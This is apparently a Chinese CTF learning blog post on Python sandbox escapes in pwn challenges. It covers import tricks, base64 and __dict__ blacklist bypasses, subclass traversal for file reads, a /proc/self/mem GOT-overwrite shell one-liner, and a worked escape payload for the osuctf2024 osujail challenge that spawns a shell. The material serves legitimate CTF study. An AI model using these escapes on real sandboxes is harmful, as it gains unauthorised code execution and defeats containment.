pyjail-in-pwn初识
基础
之前只在web或者misc看到过pyjail的题目,后来在某次比赛中发现了pwn中也有这类的题目,但当时也没空出时间去研究
一直拖到现在,打算稍微了解一下
后记:
mmp,真玩不来这玩应
导入模块
1 | os.system() |
在 Python 中导入模块的方法通常有三种(xxx 为模块名称):
1 | import xxx |
import是 Python 中的一个关键字,用于在代码中静态地导入一个模块。
_import_ 是 Python 中的一个内置函数,用于动态地导入模块。它允许在运行时根据需要导入模块,而不是在代码的顶部或其他静态位置
我们可以通过上述的导入方法,导入相关模块并使用上述的函数实现命令执行。 除此之外,我们也可以通过路径引入模块: 如在 linux 系统中 Python 的 os 模块的路径一般都是在 /usr/lib/python2.7/os.py
,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数。
1 | import sys |
其他的危险函数举例
如 execfile 文件执行
1 | '/usr/lib/python2.7/os.py') execfile( |
貌似只适用于python2
timeit
1 | import timeit |
timeit
模块是 Python 中用于测试代码执行时间的工具。它允许你在代码中精确地测量执行时间,以便比较不同实现的性能或者优化代码。
exec 和 eval 比较经典了
1 | eval('__import__("os").system("dir")') |
platform
1 | import platform |
platform
模块是 Python 中的一个标准库,提供了用于获取平台信息的函数。它允许你在运行 Python 脚本的计算机上查询操作系统、硬件架构和 Python 解释器的相关信息。
貌似也仅限于python2
但是,正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。而如何进一步逃逸沙箱就是我们的重点研究内容。
内建函数
当我们不能导入模块,或者想要导入的模块被禁,那么我们只能寻求 Python 本身内置函数(即通常不用人为导入,Python 本身默认已经导入的函数)。我们可以通过可以通过 dir __builtin__
来获取内置函数列表
python2
1 | dir(__builtins__) |
python3
1 | dir(__builtins__) |
在 Python 中,不引入直接使用的内置函数被成为 builtin 函数,随着 builtin 这个模块自动引入到环境中。
那么我们如何引入的模块呢?我们可以通过 dict 引入我们想要引入的模块。dict 的作用是列出一个模组 / 类 / 对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的, 可以找到隐藏在其中的一些东西 dict 能做什么呢?
我们知道,一个模块对象有一个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找,例如,m.x
等同于 m.dict["x"]
。
绕过实例: 首先通过 base64 绕过字符明文检测
1 | import base64 |
然后通过 dict 引用
1 | 'X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')) __builtins__.__dict__[ |
如果一些 内敛函数在 builtins 删除 ,我们可以通过 reload(builtins) 重新载入获取一个完整的 builtins
创建对象以及引用
Python 的 object 类中集成了很多的基础函数,我们想要调用的时候也是可以通过创建对象进而引用。
我们有常见的两个方法:
1 | ().__class__.__bases__[0] |
如,我们可通过 print(().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read())
达到文件读取的效果,
常见 payload
1 | #读文件 |
间接引用
在有些题目中import 其实整个是被阉割了。但是在 Python 中,原生的 import 是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容
write 修改 got 表
实际上是一个 /proc/self/mem 的内存操作方法
/proc/self/mem 是内存镜像,能够通过它来无视权限读写到进程的所有内存,包括可执行代码,如果我们能获取到 Python 一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell 的目的。
1 | (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) |
第一个地址是 system 的偏移,第二个是 fopen 的偏移,我们可以通过 objdump 获取相关信息
例题
osuctf2024-osujail
这道pyjail题目放在了pwn分类下
pyjail on python 3.9
1 | backup_len = len |
gpt给出的解释
- 首先,它保存了几个内置函数和内置变量的引用,以备份它们,以便稍后可以使用。
backup_len = len
:备份了内置函数len
的引用。backup_eval = eval
:备份了内置函数eval
的引用。backup_print = print
:备份了内置函数print
的引用。backup_input = input
:备份了内置函数input
的引用。backup_all = all
:备份了内置函数all
的引用。backup_ord = ord
:备份了内置函数ord
的引用。
- 定义了两个函数:
rescued_osu(input)
:检查输入中是否恰好包含一个’o’、一个’s’和一个’u’字符。caught_by_guards(input)
:检查输入中是否包含一些特殊字符 ‘[‘、’]’、’{‘、’}’,或者包含了超出 ASCII 范围的字符。
- 清空了全局命名空间中的
__builtins__
,这会移除内置函数和变量。这个操作可能是为了防止在代码中直接使用内置函数。 - 将用户输入的内容存储在
input
变量中,此时input
已经不再是内置函数了,而是之前备份的内置函数input
的引用。 - 执行一系列检查:
- 如果用户输入的内容被
caught_by_guards
函数捕获,或者不满足rescued_osu
函数的条件,则打印 “[You failed to break the jail]”。 - 否则,执行
eval(input, {}, {})
,这里eval
是之前备份的内置函数,用于执行用户输入的代码,并打印结果。
- 如果用户输入的内容被
一个大佬的解是
1 | (g:=().__init__().__new__.__self__.__getattribute__,d:=().__doc__,O:=d.__getitem__(34),S:=d.__getitem__(19),U:=d.__getitem__(1),x:=g(g((),"__cla"+S+S+"__"),"__ba"+S+"e__"),i:=g(x,"__"+S+U+"bcla"+S+S+"e"+S+"__")().__getitem__(-4).__init__,g(i,"__gl"+O+"bal"+S+"__").__getitem__(S+"y"+S+"tem")(S+"h")) |
其使用了海象运算符
将
__getattribute__
方法赋值给g().__doc__
属性赋值给d1
2().__doc__
"Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object."O,S,U分别为d中提取出来的单个对应字符osu
- x为
().__class__.__base__
- i为
x.__subclasses__().__getitem__(-4).__init__
- 最终
i.__globals__.__getitem__(S+"y"+S+"tem")(S+"h"))
说实话一脸懵逼
gpt对这些内建属性给出的一些解释
__globals__
是 Python 中函数对象的一个特殊属性,它指向了该函数所在模块的全局命名空间(全局作用域)。这个属性存储了函数定义时的全局命名空间,即函数定义所在的模块的命名空间。__getitem__
是 Python 对象的一个特殊方法用于定义对象的索引操作。当你通过中括号[]
来访问对象的元素时,Python 解释器会调用该对象的__getitem__
方法来实现索引操作。__getattribute__
是 Python 中对象的一个特殊方法用于控制对对象属性的访问。当你使用点号(.
)语法来访问对象的属性时,Python 解释器会调用该对象的__getattribute__
方法来实现属性的获取操作__init__
是 Python 中对象的一个特殊方法用于对象的初始化。当你创建一个对象时,Python 解释器会自动调用该对象的__init__
方法来执行初始化操作。在这个方法中,你可以对对象的属性进行初始化,也可以执行一些其他的初始化操作。返回值是该对象__new__
是 Python 中对象的一个特殊方法用于创建对象的实例。与__init__
方法不同,__new__
方法是在对象实例化之前被调用的,用于创建对象的实例,并返回该实例。- 在 Python 中,
__self__
是用于表示绑定方法(bound method)的一个特殊属性。绑定方法是指类的方法(函数),在实例化对象后被调用时,会自动将该对象作为第一个参数(通常命名为self
)传递给方法。这种自动传递实例化对象的行为,就是通过__self__
属性实现的。其返回前一个方法的调用者 __doc__
是 Python 中对象的一个特殊属性(双下划线方法),用于存储对象的文档字符串(docstring)。文档字符串是在对象的定义中使用三重引号"""
或单引号'''
所包围的字符串,用于提供有关对象的描述和文档。
好吧还是一脸懵逼